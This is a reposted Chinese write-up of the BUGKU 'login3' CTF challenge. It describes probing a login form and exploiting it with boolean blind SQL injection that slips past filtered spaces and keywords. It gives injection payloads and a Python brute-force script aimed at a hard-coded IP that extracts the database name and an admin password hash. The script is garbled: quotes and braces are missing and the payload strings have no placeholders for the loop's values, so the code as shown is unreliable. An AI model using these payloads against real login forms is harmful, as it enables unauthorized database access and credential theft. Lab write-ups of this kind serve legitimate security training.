BUGKU login3(SKCTF)

Posted zhu013

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUGKU login3(SKCTF)相关的知识,希望对你有一定的参考价值。

进入页面 先输入1 和 1 发现 提示 用户名错误

猜测输入用户名 admin 和 1  提示 密码错误

继续猜测输入用户名 admin‘ 和1 提示 用户名错误

继续猜测输入  用户名 admin‘#和1 提示 密码错误

说明 逻辑是先检查用户名是否正确再匹配密码,当页面出现密码错误时,说明用户名内容正确

综上 用户名输入存在注入

输入admin‘ # 提示非法 说明 空格被过滤

空格可以使用  () 代替,=可以使用 <> 代替

经测试空格 and union = ,逗号 被过滤 结合题目考虑使用布尔盲注

上网查询 https://blog.csdn.net/zpy1998zpy/article/details/80667775

通过爆出数据库名,但是 Information 被过滤了,只能猜表名和字段名,搜索WP得知 表名admin,字段password

 

下面是脚本

import sys
import requests
from bs4 import BeautifulSoup
import re


url_start = http://123.206.31.85:49167/index.php 


sql_flag ="admin‘^(select(ascii(mid((select(password)from(admin))from(0)))<>1))^0#"
sql_database="admin‘^(ascii(mid(database()from(0)))<>1)^0#"


def Brup(SQL):
    name=‘‘
    for i in range(1,40):
        for ch in range(32,129):
            if(ch == 128):
                sys.exit(0)
            payload = SQL.format(i,ch)
            #print(payload)
            #data = 
            #    ‘username‘:payload
            #
            #print(data)
            data=
            Host: 123.206.31.85:49167,
            User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0,
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
            Accept-Language: zh-CN,en;q=0.5,
            Accept-Encoding: gzip, deflate,
            Referer: http://123.206.31.85:49167/,
            Content-Type: application/x-www-form-urlencoded,
            Content-Length: 65,
            Connection: close,
            Upgrade-Insecure-Requests: 1,
            username:payload,
            password:test
            
            #print(data)
            html = requests.post(url_start,data)
            #print(html.content)
            soup = BeautifulSoup(html.content, html.parser)
            result = soup.find_all(text = password error!)
            #print(result)
            #判断是否为空
            if len(result):
                name += chr(ch)
                print(name:+name)
                break
        
if __name__ == __main__:
    #Brup(sql_database)
    #Brup(sql_flag)

#database:blindsql
#password:51b7a76d51e70b419f60d3473fb6f900

 

以上是关于BUGKU login3(SKCTF)的主要内容,如果未能解决你的问题,请参考以下文章

23.login1(SKCTF)

bugku-login4-CBC字节翻转攻击

Bugku-flag.php

用户登陆

Cucumber语法格式

psql